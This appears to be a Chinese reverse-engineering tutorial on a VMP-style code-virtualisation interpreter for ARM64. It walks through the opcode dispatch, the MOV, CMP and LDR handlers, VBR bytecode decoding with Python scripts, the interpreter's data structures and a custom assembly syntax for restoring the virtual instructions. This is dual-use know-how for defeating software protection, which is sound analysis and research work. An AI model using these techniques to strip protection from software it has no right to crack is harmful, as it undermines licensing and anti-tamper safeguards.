\\n在进入解释器前会把VMPState的数据结构成员作为参数传入后,准备执行虚拟机解释器了。
\\n
void *pRetVal
: 返回值
int regCount
: 虚拟寄存器数量
void *pRegister
: 虚拟机寄存器
int typeCount
: 类型表数量
void **pTypeList
: 类型表
int insCount
: 虚拟机指令数量
int16_t**pInstructons
: 虚拟机指令
int16_t **pBranchs:
分支表
首次读取主操作码
\\n在进入解释器后这里只执行一次,由于指令分发基本块被分别复制到13个handler尾部原因,因此每个handler都有自己独立的主操作码分发器,在handler执行完成后会接着读取下一条虚拟机指令的主操作码然后进入下一个handler,具体原因可以参数上面的章节指令分发基本块复制。
分发指令时关注对象:
\\n虚拟pc
: 0x0
指令对象
:X24
读取主操作数时需要关注是指针对象和pc,这里刚刚开始执行pc为0,只要关注指令对象在x24寄存器就行了,值得要注意的是不是的主操作码分发器中指令对象有可能在其他真实寄存器中。
\\n\\n\\n13A5C0MOV W19, #1
\\n
在指令中读取了相对偏移0的主操作码后,通常这个指令相对偏移0用不上了,因此会有一个指针指向当前指令字节码的下一个字节也就是偏移1,在很多的主操作码分发器中经常就是这样做的,因此在进入handler后看到的都是从偏移1开始读取指令中的字节码。提示:在大多数分发器中使用W19来指向偏移1的。
主操作码switch分发表
\\nswitch表中包含了13个handler,图中未命名暗蓝色loc开头的是填充虚假无用的地址并非真实handler起到一定的迷惑作用。
\\n
透过下面一张图可以了解虚拟机所有指令集和第二操作码的情况,有第二操作码意味着会有再次switch子分发的情况。
\\n
在此只介绍一些简单的指令分析带领大家入门,复杂的指令会让文章变得更加杂乱无章。
\\n\\n\\nMOV 指令格式 (6): [opcode, op2, dtype, stype, sreg, dreg]
\\n
opcode: 主操作码
op2: 第二操作码
dtype: 目标操作数类型
stype: 源操作数类型
sreg: 源寄存器
dreg: 目标寄存器
汇编语法
:
\\n\\nMOV dreg, sreg
\\n
有时MOV可能并不是直接将原寄存器中的数据传到目标寄存器,可能还有会其他操作:零扩展、带符号扩展、截断等等,这是什么还有op2第二个操作码的原因。
\\n\\n\\n提示:IDA PRO中的注释op和pBytecode是同一个指针变量两者等价,原因是我懒得一个一个的去回改注释了。
\\n
\\n\\n按重要程度依次分别是:虚拟机pc、指令对象、上下文对象、类型表对象、分支表对象(遇到分支指令时关注)
\\n
虚拟机pc(当前指令偏移op/pInsn)
: 当前指令MOV来源于13个handler其中之一尾部的主操作码分发,因此pc指针的当前指令偏移0已经不再使用,W19已经在主分发器中修正为当前指令偏移1的位置,只要关注W19即可。指令对象(pReg)
: 真实寄存器x24指向它。
前驱节点
: w25=0。
x24指向pInstructions起始位置指针,w19指向当前指令字节码中的偏移1。
地址0x139400: 取出op2第二个操作码到w8并判断op2是否合法。
\\n\\nADD W9, W19, #1
\\n
ADD W10, W19, #2
ADD W11, W19, #3
ADD W12, W19, #4
计算出当前指令字节的偏移,然后分别将读取偏移2、3、4、5的字节数据。w19=当前指令偏移op
\\nx24=指令对象:它是一个16位的数组使用w19计算好的偏移索引来访问
\\n
x21=类型对象(pType):同样它是一个指针数组,同样使用索引来访问
x28=寄存器对象(pReg):它也是一个数组,不同的VMPState元素数量不同,使用索引来访问,元素是Register内存大小0x18,使用base+index*0x18
当指令执行到0x13C49C位置时开始分发op2,此时的数据状态如下:目标操作数类型
: x2=pType[op[2]],从当前指令偏移2读取索引值,然后使用索引获取类型指针源操作数类型
: x8=pType[op[3]],从当前指令偏移3读取索引值,使用索引获取类型指针源寄存器
: x26=pReg[op[4]],从当前指令偏移4读取索引值,再从使用索引获取寄存器指针目标寄存器
: x20=pReg[op[5]],从当前指令偏移5读取索引值,再从使用索引获取寄存器指针
\\n\\n0x13C48CADD W22, W19, #5
\\n下一个pc
: 此时W19是指向偏移1的位置,加上5后W22指向下一条指令起始位置即偏移0,由此得知当前指令长度是6个字节。
取出源寄存器的值并存放到目标寄存器
\\n
\\n\\n0x13C4BC: 是MOV handler尾部的添加的主操作码分发器。
\\n
MOV handler主操作码分发器:
\\nx24是指向指令对象的,使用索引w22(new pc)获取下一条指令的主操作码。
\\n此时W19指向上一指令偏移1的位置并且上一条指令的长度是6个字节,在执行W19, W19, #6之后W19正好指向下一条指令偏移1的位置。注:加上长度是6个字节,是因为 此分析器是MOV专用的只有MOV指令执行完成后才可到达此位置。
\\n
\\n\\nCMP 指令格式(6): [opcode, type, sreg1, sreg2, creg, op2]
\\n
opcode: 主操作码
type: reg1, reg2的操作数类型
sreg1: 源寄存器1
sreg2: 源寄存器2
creg: 目标条件码寄存器
op2: 第二操作码
指令说明: 通常cmp和jcc、cmp和csel成对出现
汇编语法
:
\\n\\nCMP.
\\n
在分析前再次提示一下重要的对象,handler分析是主要围绕这五个对象的数据展开分析的。
\\n\\n\\n按重要程度依次分别是:虚拟机pc、指令对象、上下文对象、类型表对象、分支表对象(遇到分支指令时关注)
\\n
虚拟机pc
: 当前CMP指令来源于13个handler其中之一尾部的主操作码分发,此时已经完成分发到当前指令,pc偏移0已经不再使用,在主分发器中W19已经修正为当前指令偏移1的位置,只要关注W19即可。指令对象
: 真实寄存器x24指向它。
W19指向当前指令偏移1的位置,加上4后W8指向偏移5,根据上面的指令格式偏移5是读取op2。
ADD W8, W19, #4
LDR W8, [X24,W8,UXTW#2]
备份W25到W26因为后面要使用W25寄存器了,这里的W25是指向前驱基本块,在后面执行PHI时会用到前驱基本块数据。
MOV W26, W25
检查op2是否合法
CMP W8, #0x28
准备分发第二个操作数,第二个操作码就是比较条件的种类:EQ、NE、GT、GE、LT、LE等等。上下文对象
: X28
类型表对象
: X21
获取操作数类型type:
LDR W23, [X24,W19,UXTW#2]
LDR X25, [X21,X23,LSL#3]**
获取第一个源寄存器sreg1指针,pRegsBase+Index+0x18(寄存器元素长度):
ADD W9, W19, #1
MOV W12, #0x18
LDR W9, [X24,W9,UXTW#2] *
*MADD X22, X9, X12, X28*
获取第二个源寄存器sreg2*指针
*ADD W10, W19, #2*
*LDR W10, [X24,W10,UXTW#2]*
MADD X9, X11, X12, X28
取目标操作数creg条件码寄存器指针
ADD W11, W19, #3
LDR W11, [X24,W11,UXTW#2]
MADD X9, X11, X12, X28
当指令执行到地址0x13BB70
,指令中的操作数已经全部取出,类型对象、指令对象已经不再使用,只需关心type、sreg1、sreg2、dreg所在寄存器即可:
type: X25
sreg1: X22
seg2: X27
creg: X9
第二个操作数是CMP条件码的种类,条件码中还包括浮点数的比较,在此以常用的条件码CMP.EQ进行分析。
\\n
首先获取比较操作数的大小,再从寄存器指针sreg1获取操作数大小的值,以4个字节大小为例:
\\n
取sreg1的值:
此时发现使用的汇编指令是LDRSW,的确是取出4个字节的数据。
sreg1_val
: X20
取sreg2操作数大小和寄存器的值:
`sreg2_val: X8
比较sreg1和sreg2获取EQ条件码
更新下一条指令pc并检查是否超过macPC,w19指向当前指令偏移1的位置,ADD W8, W19, #5并指向下一个指令的偏移0位置,表示当前指令CMP长度是6。
CMP 尾部主操作码分发器:
依旧是读取主操作码、更新w19指针到偏移1位置,最后BR X8进入下一个handler。
\\n\\nLDR 指令(4): [opcode, type, mreg, dreg]
\\n
opcode: 主操作码
type: 操作数类型
mreg: 源寄存器内存,没有偏移量立即数
dreg: 目标寄存器
指令说明: LDR dreg, [mreg], LDR指令是mem---\x3ereg到目标寄存器,即寄存器内存的值到寄存器中
汇编语法
:
\\n\\nLDRdreg, [mreg]
\\n
\\n\\n关键对象:虚拟机pc、指令对象、上下文对象、类型表对象、分支表对象(遇到分支指令时关注)
\\n
虚拟机pc: W19
指令对象: X24
上下文对象: X28
类型表对象: X21
获取操作数类型type
:
\\n\\n0x13A1AC LDR W10, [X24,W19,UXTW#2]
\\n
0x13A1C0 LDR X1, [X21,X10,LSL#3]
获取目标操作数寄存器dreg
:
\\n\\n0x13A1B0 ADD W8, W19, #1
\\n
0x13A1B8 LDR W8, [X24,W8,UXTW#2]
0x13A1C4 MOV W10, #0x18
0x13A1C8 MADD X2, X8, X10, X28
LDR_With_Type函数分析:
\\n函数原型:void LDR_With_Type(void *dreg, void *type, void *mReg);
\\n参数:x0=dreg, x1=type, x2=mreg
判断操作数类型是否char指针类型,如果是char指针则拷贝指针,否则取出mreg地址中的值赋值给dreg。
获取类型长度:
\\n\\n0x13FF60 BLR X8
\\n
类型长度不能大于8个字节:
\\n\\n\\n0x13FF68 CMP W8, #7
\\n
获取mreg中的指针:
\\n\\n\\nLDR X8, [X20]
\\n
依据类型长度1/2/4/8字节,然后再次从获取指针中的值:
\\n\\n\\n0x13FF88 LDRSB W8, [X8]
\\n
0x13FFA4 LDRSH W8, [X8]
0x13FFB0 LDR W8, [X8]
0x13FF94 LDR X8, [X8]
最后将值赋值给dreg:
\\n\\n\\n0x13FF98 STR X8, [X19]
\\n
或
\\n\\n\\n0x13FFB4 STR W8, [X19]
\\n
\\n\\n解码的目的就是将bytecode反序列到VMPState对象。
\\n
bytecode使用Variable Bitrate(VBR)编码格式,这个编码很多领域都在使用例如音频和视频,有兴趣的也可以AI了解。
虚拟机字节码采用了6位的编码格式,与protobuf的Varints 编码格式有些类似,只不过protobuf使用了8字节,这里使用了6个字节。
protobuf Varints 编码相关链接:5.1、Varints 编码(变⻓的类型才使⽤)
虚拟机6位的VBR编码:
数字5的二进制6位编码是这样的,以0位开始最高位5是0说明没有后续字节位数据,解码后的数值就是5
\\n\\n000101
\\n
前6位最高位是1,代表还有后续的字节位数据。
\\n\\n\\n100101 001111
\\n
在解码组合位数据时先取0-4位有效数据低5位: 00101,第5位为1说明还有后续的字节位数据,然后再取下一个6位字节数001111,第5位为0说明没有后续的字节位数据了,有效数据位是低5位:01111,解码组合后的数值为0x1E5(0b111100101)。注意:后6位的在组合时要放在高位。
\\n\\n\\n01111 00101 ---\x3e 111100101
\\n
如果后位最高位为1就再取六位数据,如此反复直到最高位为0为止。
使用脚本解码VBA,默认位数6bit
脚本实现decode:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | class BytecodeDecoder(): def __init__( self , bytecode: bytes, extern_address: list , filename): self .extern_address = extern_address self .bytecode_bits = bitarray(endian = \'little\' ) self .bytecode_bits.frombytes(bytecode) self .bytecode = bytecode self .bit_index = 0 self .filename = filename def decode( self , nBit = 6 ): num = 0 index = 0 bit_num = 0 exit = False while index + nBit < = len ( self .bytecode_bits): # 读取 nBit 位 chunk = self .bytecode_bits[ self .bit_index: self .bit_index + nBit] high_bit = chunk[ - 1 ] # 最高位 low_bits = ba2int(chunk[: - 1 ]) # 低 5 位转换为整数 if high_bit = = 1 : num = num | (low_bits << bit_num) # 左移 5 位并按位或合并 else : num = num | (low_bits << bit_num) exit = True self .bit_index + = nBit # 移动索引 if exit: return num bit_num + = 5 raise Exception( \\"bytecode decode error\\" ) |
在IDA PRO使用ctrl+m打开收藏的书签,没有快捷键的打开菜单View->Open subviews->bookmarks打开,[step
\\n读取第一个字节码
\\n字节码是64位长度为单位进行处理的,而VBR是以6个字节单位处理数据,当前64位中有效字节码数据不足6位时,会读取下一个64位数据并从低位开始取字节位,将不足的有效位补到当前字节位直到满6位为止。在解码的同时还在堆栈中维护了表示当前VBR解码状态的数据,分别是指向字节码的指针:pBytecode,当前剩余的64数据:remain_bytecode,remain_bytecode的剩余位数: remain_bit。
从bytecode读取64位的数据:
计算出寄存器数量
bytecode最开始位置保存了寄存器数量,读取数量并创建上下文对象。
初始化并填充数据
解码脚本:
1 2 3 | def decode_register_count( self ): regs_count = self .decode() return regs_count |
解码需要初始化寄存器
\\n初始化寄存器的数量
解码出需要初始化寄存器的数量,然后申请了一个堆内存用于存放寄存器索引。
解码需要初始化寄存器表
在解码完寄存器数量后,紧接着字节流后面数据是需要初始化的寄存器表。
解码脚本:
\\n1 2 3 4 5 6 7 8 | def decode_register_initial_value( self ): regs_initial_count = self .decode() regs_initial = [] for i in range ( 0 , regs_initial_count): reg_num = self .decode() # init_regs_num.append((insn, f\'{insn:#x}\')) regs_initial.append(reg_num) return regs_initial |
设置外部地址列表到寄存器
这里的外部地址的寄存器索引数据与第2步的初始寄存器数据不共用。
解码脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | def set_registers_extern_address( self , registers: list [Register], extern_address: list [ int ]): extern: ExternInstructions = ExternInstructions() addr_list_count = self .decode() for i in range ( 0 , addr_list_count): reg_idx = self .decode() # 初始化的寄存器索引 addr_list_idx = self .decode() # 获取地址列表索引 addr = self .read_extern_address(extern_address, addr_list_idx) registers[reg_idx].value = addr extern.targetRegs.append(reg_idx) extern.externalAddress.append(addr) # print( # f\\"extern register[{reg_idx}] = {addr:#x}\\") return extern |
解码类型对象表
虚拟机解释执行时所需的类型数据均来自此表。
解码脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | def decode_types( self ): # 4.解码类型表 types_count = self .decode() types = [ None ] * types_count for i in range ( 0 , types_count): type = self .decode() # print(f\'type[{i}]: {type:#x}\') match( type ): case 0x3 | 0x10 | 0x12 : raise Exception( \\"error\\" ) case 0x5 | 0xc | 0x13 : struct_0xC = 0 struct_0xD = self .decode() struct_0xE = 1 member_count = self .decode() # 4.1设置结构体成员类型 members = [] for j in range ( 0 , member_count): member_type_index = self .decode() t_membetr = types[member_type_index] if t_membetr is None : types[member_type_index] = t_membetr = StructType( 0 , [], \\"\\") members.append(t_membetr) # 4.2 获取结构体类型名 type_name = [] type_name_size = self .decode() for j in range ( 0 , type_name_size): c = self .decode() type_name.append(c) name = \\"\\".join( chr (c) for c in type_name) struct_type = StructType(member_count, members, name) struct_type.init() types[i] = struct_type case 0x1 : types[i] = VMPType() case 0x6 : nbit = self .decode() types[i] = IntegerType(nbit) case 0x9 : element_count = self .decode() element_type_idx = self .decode() element_type = types[element_type_idx] if element_type is None : # 创建数组元素为结构类型... raise Exception( \\"error\\" ) types[i] = ArrayType(element_count, element_type) case 0x7 : ptr_type_index = self .decode() ptr_type = types[ptr_type_index] if ptr_type is None : ptr_type = StructType( 0 , [], \\"\\") types[ptr_type_index] = ptr_type types[i] = PointerType(ptr_type) case 0xb : types[i] = FloatType() case 0x14 : flag = self .decode() return_value_type = self .decode() argument_count = self .decode() return_value = types[return_value_type] arguments = [] if return_value is None : return_value = None raise Exception( \\"返回值类型 error\\" ) for j in range ( 0 , argument_count): arg_type_idx = self .decode() arg_type = types[arg_type_idx] if arg_type is not None : arguments.append(arg_type) else : # 构建结构类型 raise Exception( \\"error\\" ) types[i] = FunctionType( return_value, argument_count, arguments, flag) case 0x15 : types[i] = DoubleType() case _: input (f \\"未知的类型:{type:#x}\\\\n\\" ) return types |
为寄存器设置初值
这里的寄存器列表来源第2步解码的数据,这里不仅会为寄存器设置初始值,还会有其他指令的操作,目标寄存器是一个“静态或只读的”,解释器的执行不会改目标寄存的值。
解码脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | def set_registers_inial_value( self , registers: list [Register], types: list [ int ], regs_initial: list [ int ]): init_instructions: InialInstructions = InialInstructions() count = self .decode() for i in range ( 0 , count): init_type = self .decode() reg_idx = regs_initial[i] # print(f\'init reg type: {init_type:#x}\') # 记录初始化指令 init_instructions.opcodes.append(init_type) init_instructions.dRegs.append(reg_idx) match(init_type): # ADD.MO case 0 | 0xb | 0x17 : type_idx = self .decode() deep = self .decode() breg = self .decode() member_offset_table = [] for j in range ( 1 , deep): member_offset_table.append( self .decode()) # 记录初始化指令 init_instructions.imm.append(member_offset_table) init_instructions. type .append(type_idx) init_instructions.sRegs.append(breg) case 7 : # MOV REG, IMM imm = self .decode() registers[reg_idx].value = imm # 记录初始化指令 init_instructions.imm.append(imm) init_instructions. type .append( None ) init_instructions.sRegs.append( None ) # print(f\'init register[{reg_idx}] = {imm:#x}\') case 8 : # MOV REG, ??? type_index = self .decode() t = types[type_index] if t.tag ! = 0xe : registers[reg_idx].value = 0 else : raise Exception( \\"error\\" ) # 记录初始化指令 init_instructions. type .append(type_index) init_instructions.imm.append( None ) init_instructions.sRegs.append( None ) case 0x15 : # MOV REG.T, REG@FuncPtr while self .decode() & 0x20 : pass type_idx = self .decode() t = types[type_idx] sreg = self .decode() registers[reg_idx].value = registers[sreg].value registers[reg_idx]. type = t # 记录初始化指令 init_instructions. type .append(type_idx) init_instructions.imm.append( None ) init_instructions.sRegs.append(sreg) case _: input (f \\"未知的初始化寄存器类型:{init_type:#x}\\\\n\\" ) return init_instructions |
获取入口函数对象
从第4步类型对象表获取入口函数类型信息,这里的入口函数是指原生代码未虚拟化前的函数信息。
解码脚本:
1 2 3 | def get_function_type( self , types: list [ int ]): func_type_idx = self .decode() return types[func_type_idx]. type |
解码虚拟机指令
虚拟机机解释器执行的指令。
解码脚本:
1 2 3 4 5 6 7 | def decode_bytecode( self ): vm_insn_count = self .decode() vm_instructions = [] for i in range ( 0 , vm_insn_count): insn = self .decode() vm_instructions.append(insn) return vm_instructions |
创建分支表
分支表是跳转的目标地址,BSEL.PHI、J、JCC、SWITCH指令等会从此表中获取目标地址。
解码脚本:
1 2 3 4 5 6 7 | def decode_branches( self ): branches_count = self .decode() branches = [] for i in range ( 0 , branches_count): offset = self .decode() branches.append(offset) return branches |
创建VMPState对象
\\n在解码完bytecode后,入口函数类型、虚拟寄存器数量、类型表数量、指令数量、上下文对象、类型表对象、指令表对象、分支表关键数据已经获取,接下来该创建VMPState对象了。
并将解码完成后的数据放入此对象并将VMPState添加到全局缓存对象,防止下次执行此bytecode时重复构建。
在逆向分析时和虚拟机执行时这个数据结构十分重要了解好这份数据分析不迷路,尤其是解释执行时经常要获这些数据结构:指令、类型、寄存器、分支等。
\\n1 2 3 4 5 6 7 8 9 10 | struct VMPState { 0x0: Type* entryFunction; 0x8: int regCount; 0xC: int typeCount; 0x10: int insCount; 0x18 Context* context; 0x20: Type** pTypeList; 0x28: int16_t** pInstructions; 0x30: Branches* pBranches; } |
类型对象用于描述类型数据,并不会包含类型的值。
\\n类型签标
\\n1 2 3 4 5 6 7 8 9 10 11 | enum TypeTag { VoidType = 0, FloatType = 2, DoubleType = 3, InteterType = 0xb, FunctionType = 0xc, StructType = 0xd, ArrayType = 0xe, PointerType = 0xf, VertorType = 0x10 } |
所有类型的基类内存长度
: 0x10
1 2 3 4 5 6 7 8 9 10 | struct Type { +0x0: void * vtable; +0x8: TypeTag tag; +0xc: union { int nbit; // IntegerType时使用 bool field1; } +0xd: bool isInit; // StructType使用,是否计算结构体内存长度 +0xe: bool field3; } |
空类型内存长度
: 0x10
1 2 | struct VoidType : public Type { } |
浮点类型内存长度
: 0x10
使用tag来区别数据类型,float长度32位,double长度64位。
1 2 | struct FloatType : public Type { } |
1 2 | struct DoubleType : public Type { } |
整形内存长度
: 0x10nbit
成员用于描述1位/8位/16位/32位/64位。
1 2 | struct IntegerType : public Type { } |
函数类型内存长度
: 0x28
1 2 3 4 5 | struct FunctionType : public Type { +0x10: Type* returnValueType; +0x18: int . argumentCount; +0x20: type** arguments; } |
结构体类型内存长度
: 0x38
1 2 3 4 5 6 7 | struct StructType : public Type { 0x10: int32 memberCount; 0x18: type** members; 0x20: int32 memorySize; 0x28: int32* memberOffsetTable; 0x30: char * typeName; } |
数组类型内存长度
: 0x18
1 2 3 4 | struct ArrayType{ 0xc: int32 count; 0x10: Type* element; } |
指针类型内存长度
: 0x18
1 2 3 | struct PointerType{ 0x10: Type* pointee; } |
内存长度
: 0x18
1 2 3 4 5 | struct Register { 0x0: int64 value; 0x8: Type* t; 0x10: bool isBuffer; // 指示value是否内存管理函数分配: cmalloc/malloc } |
内存长度
: 内存长度不确定,依据count的数值决定大小, size=count * sizeof(Register)
1 2 3 4 | struct Context { 0x0: int count; 0x8: Register regs[]; } |
内存长度
: 内存长度不确定,首次解码有长度数据。
1 2 3 | struct Branchs { 0x0: int16_t br[]; } |
内存长度
: 内存长度不确定,VMPState->insCount描述了指令数量。
1 2 3 | struct Instructions { 0x0: int16_t ins[]; } |
\\n\\n注:第一次解码出VMPState核心数据结构,第二次是虚拟执行时的指令解码
\\n
最外层的[]相当于python的列表,里层的[]表示数据是可选的,()通常是成对数据。
\\n指令名称 | \\nopcode | \\n长度 | \\n格式 | \\n说明 | \\n
---|---|---|---|---|
ARITH | \\n0x1 | \\n6 | \\n[opcode, op2, type, sreg1, sreg2, dreg] | \\n\\n |
MOV | \\n0x2 | \\n6 | \\n[opcode, op2, dtype, stype, sreg, dreg] | \\n\\n |
CALLOC | \\n0x6 | \\n5 | \\n[opcode, a2_type, a1_type, a1_sreg, dreg] | \\n\\n |
STR | \\n0xa | \\n4 | \\n[opcode, stype, sreg, mreg] | \\n\\n |
CMP | \\n0xc | \\n6 | \\n[opcode, type, sreg1, sreg2, creg, op2] | \\n\\n |
PHI | \\n0xe | \\n变长(3+) | \\n[opcode, dreg, count, [(reg, branch), (reg, branch), (...)]] | \\n\\n |
CALL | \\n0xf | \\n变长(5+) | \\n[opcode, ftype, [count], tag, [retreg], ereg, none, [areg, ...]] | \\n\\n |
RET | \\n0x13 | \\n变长(2+) | \\n[opcode, type, [retreg]] | \\n\\n |
SWITCH | \\n0x16 | \\n变长(5+) | \\n[opcode, treg, type, defbranch, count, [(casereg, branch), ...]] | \\n\\n |
J/JCC | \\n0x1d | \\n3或6 | \\n[opcode, brtype, tbranch,[creg, ctype, fbranch]] | \\n\\n |
CSEC | \\n0x1e | \\n7 | \\n[opcode, ntype, creg, type, treg, freg, dreg] | \\n\\n |
GEP | \\n0x28 | \\n变长(5+) | \\n[opcode, dreg, none, type, count, breg, [index, ...]] | \\n\\n |
LDR | \\n0x2a | \\n4 | \\n[opcode, type, mreg, dreg] | \\n\\n |
虚拟机还原一共分两篇,还原到汇编大多数情况只要能够理解其中逻辑就已经足够了,还原到原生代码是将还原做到极致。直接还原汇编是最接近虚拟机指令的语言是最容易的也是最不容易出错的,同样它也是虚拟机指令的映射。
\\n解码的后的字节码还是一堆数据,为了方便理解数据需要将数据转成汇编代码方便阅读,对于虚拟机指令和原生架构相似度比较高的可以借用原生架构的汇编代码还原,对于一些虚拟机有自己指令集的,通常需要结合虚拟机指令集的特点自定义了一套与虚拟机语意相近的汇编语言,只要将字节码转成语义相近的汇编语言即可,这里的汇编语言参考了mips、risc-v、smali、Binary Ninja中间语言等一些语法。
\\n操作数长度
通用寄存器和浮点寄存数量不固定
寄存器 | \\n1位 | \\n8位 | \\n16位 | \\n32位 | \\n64位 | \\n
---|---|---|---|---|---|
通用寄存器 | \\nV0.b | \\nV1.b | \\nV2.h | \\nV3.d | \\nV4 | \\n
浮点寄存器 | \\n\\n | \\n | H0(半精度) | \\nS0(单精度) | \\nD0(双精度) | \\n
操作数标识符说明
\\n标识 | \\n说明 | \\n备注 | \\n
---|---|---|
op | \\n主要操作码 | \\n\\n |
op2 | \\n第二个操作码 | \\n\\n |
dreg | \\n目标寄存器 | \\n\\n |
sreg | \\n源寄存器 | \\n只有一个源寄存器时的命名 | \\n
sreg1 | \\n第一个源寄存器 | \\n\\n |
sreg2 | \\n第二个源寄存器 | \\n\\n |
type | \\n操作数的类型 | \\n表示操作数的长度和数据类型 | \\n
stype | \\n源操作数类型 | \\n\\n |
dtype | \\n目标操作类型 | \\n\\n |
a1_type | \\n第一个参数类型 | \\n只适用于ALLOC指令 | \\n
a2_type | \\n第二个参数类型 | \\n只适用于ALLOC指令 | \\n
a1_sreg | \\n第一个参数的寄存器 | \\n只适用于ALLOC指令 | \\n
mreg | \\n内存操作数的寄存器 | \\n内存访问指令STR/LDR | \\n
creg | \\n条件码寄存器 | \\nCMP指令 | \\n
count | \\n元素数量 | \\nPHI指令[val, lab]的数量、GEP表示[index]的数量、SWITCH表示case的元素数量 | \\n
branch | \\n分支 | \\n表未基本块的起始标签 | \\n
ftype | \\n函数类型 | \\n只适用于CALL指令, 类型中描述了函数的返回值、参数数量、参数类型 | \\n
retreg | \\n返回值寄存器 | \\n只适用于CALL指令, 保存函数的返回值的寄存器 | \\n
ereg | \\n调用目标寄存器 | \\n只适用于CALL指令, 保存了需要调用的目标地址。例如call 0x1234、call reg | \\n
areg | \\n参数寄存器 | \\n只适用于CALL指令 | \\n
treg | \\n用于比较的目标寄存器 | \\n只适用于SWITCH指令 | \\n
defbranch | \\n默认分支基本块标签 | \\n只适用于SWITCH指令 | \\n
casereg | \\nSWITCH的case常量 | \\n只适用于SWITCH指令,casereg寄存器保存了case立即数 | \\n
branch | \\nSWITCH的代码基本块标签 | \\n只适用于SWITCH指令 | \\n
brtype | \\n表示分支指令的类型 | \\n值0时无跳转指令,值1时有条件跳转 | \\n
tbranch | \\n真值分支 | \\n只用于J/JCC指令 | \\n
fbranch | \\n假值分支 | \\n只用于J/JCC指令 | \\n
treg | \\n真值寄存器 | \\n\\n |
freg | \\n假值寄存器 | \\n只用于CSEL指令 | \\n
breg | \\n基址寄存器 | \\n只用于GEP指令 | \\n
index | \\n元素索引寄存器 | \\n只用于GEP指令,index保存了访问元素成员的值 | \\n
指令集
\\n算术指令
\\n助记符 | \\n语法 | \\n操作数格式 | \\n说明 | \\n
---|---|---|---|
XOR | \\nXOR V0, V1, V2 | \\nMOV dreg, sreg1, sreg2 | \\n\\n |
SUB | \\nSUB V0.b, V1.b, V2.b | \\nMOV dreg, sreg1, sreg2 | \\n\\n |
UDIV | \\nUDIV V0.h, V1.h, V2.h | \\nUDIV dreg, sreg1, sreg2 | \\n\\n |
ADD | \\nADD V0.d, V1.d, V2.d | \\nADD dreg, sreg1, sreg2 | \\n\\n |
OR | \\nOR V0, V1, V2 | \\nOR dreg, sreg1, sreg2 | \\n\\n |
SMOD | \\nSMOD V0.b, V1.b, V2.b | \\nSMOD dreg, sreg1, sreg2 | \\n\\n |
SDIV | \\nSDIV V0.h, V1.h, V2.h | \\nSDIV dreg, sreg1, sreg2 | \\n\\n |
UMOD | \\nUMOD V0.d, V1.d, V2.d | \\nUMOD dreg, sreg1, sreg2 | \\n\\n |
ASR | \\nASR V0, V1, V2 | \\nASR dreg, sreg1, sreg2 | \\n\\n |
LSL | \\nLSL V0.b, V1.b, V2.b | \\nLSL dreg, sreg1, sreg2 | \\n\\n |
MOV指令
\\n助记符 | \\n语法 | \\n操作数格式 | \\n说明 | \\n
---|---|---|---|
MOV | \\nXOR V0, V1 | \\nMOV dreg, sreg | \\n数据移动 | \\n
MOV.T | \\nMOV.T V0, V1.b | \\nMOV.T dreg, sreg | \\n将V1操作截断为8位移动到V0 | \\n
MOV.Z | \\nMOV.Z V0, V1.d | \\nMOV.Z dreg, sreg | \\n将32位操作数V1.d零扩展到64位操作数V0 | \\n
MOV.S | \\nMOV.S V0, V1.d | \\nMOV.S dreg, sreg | \\n将32位操作数V1.d带符号扩展到64位操作数V0 | \\n
MOV指令辅助操作
\\n操作符 | \\n描述 | \\n
---|---|
T | \\n数据截断 | \\n
Z | \\n零拓展 | \\n
S | \\n符号拓展 | \\n
CALLOC指令
\\n内存分配指令,向堆申请内存
\\n助记符 | \\n语法格式 | \\n操作数格式 | \\n说明 | \\n
---|---|---|---|
CALLOC | \\nCALLOC (0x1, 0x20), V21 | \\nCALLOC (num, size), RetVal | \\n功能与libc中的calloc一致 | \\n
内存访问指令
\\n助记符 | \\n语法格式 | \\n操作数格式 | \\n说明 | \\n
---|---|---|---|
STR | \\nSTR V0.b, [V3] | \\nSTR dreg, [mreg] | \\n与arm指令相同 | \\n
LDR | \\nLDR V5, [V80] | \\nLDR dreg, [mreg] | \\n与arm指令相同 | \\n
比较指令
\\nFCMP指令用到的很少暂不列入
\\n助记符 | \\n语法格式 | \\n操作数格式 | \\n说明 | \\n
---|---|---|---|
CMP.EQ | \\nCMP.EQ V3.b, V0, V3 | \\nCMP.EQ creg, sreg1, sreg2 | \\n比较并将结果EQ条件码存入creg | \\n
CMP.NE | \\nCMP.NE V3.b, V0, V3 | \\nCMP.NE creg, sreg1, sreg2 | \\n比较并将结果NE条件码存入creg | \\n
CMP.CC | \\nCMP.CC V3.b, V0, V3 | \\nCMP.CC creg, sreg1, sreg2 | \\n比较并将结果CC条件码存入creg | \\n
CMP.LT | \\nCMP.LT V3.b, V0, V3 | \\nCMP.LT creg, sreg1, sreg2 | \\n比较并将结果LT条件码存入creg | \\n
分支数据选择指令
\\n指令说明:BSEL指令检查当前指令来自哪个前驱分支BranchIndex,将匹配到的分支中的reg赋值给dreg,通常它是循环的开始位置(循环第一条指令)类似for循环的init语句块和inc自增块。
\\n详情参考llvm ir中的phi指令。
\\n助记符 | \\n语法格式 | \\n操作数格式 | \\n说明 | \\n
---|---|---|---|
BSEL.PHI | \\nBSEL.PHI V8, [(V0, #0x3), ...] | \\nBSEL.PHI dreg, [(reg, branch), ...] | \\n()是成对出现的,一般二对数据| | \\n
调用子程序指令
\\n助记符 | \\n语法格式 | \\n操作数格式 | \\n说明 | \\n
---|---|---|---|
CALL | \\nCALL V3, [V0, V8, V21,...], V33 | \\nCALL dreg, [areg, areg,...], retreg | \\n调用子程序,参数和返回值是可选的 | \\n
分支指令
\\n基本块的后继指令
\\n助记符 | \\n语法格式 | \\n操作数格式 | \\n说明 | \\n
---|---|---|---|
RET | \\nRET V8 | \\nRET [retreg] | \\n返回子程序, 返回值寄存器retreg是可选的 | \\n
SWITCH | \\nSWITCH V3, #0x1234, [(V2, #0x5678)] | \\nSWITCH treg, #defbranch, [(reg, #branch), ...] | \\n可以理解为c语言中的switch语句 | \\n
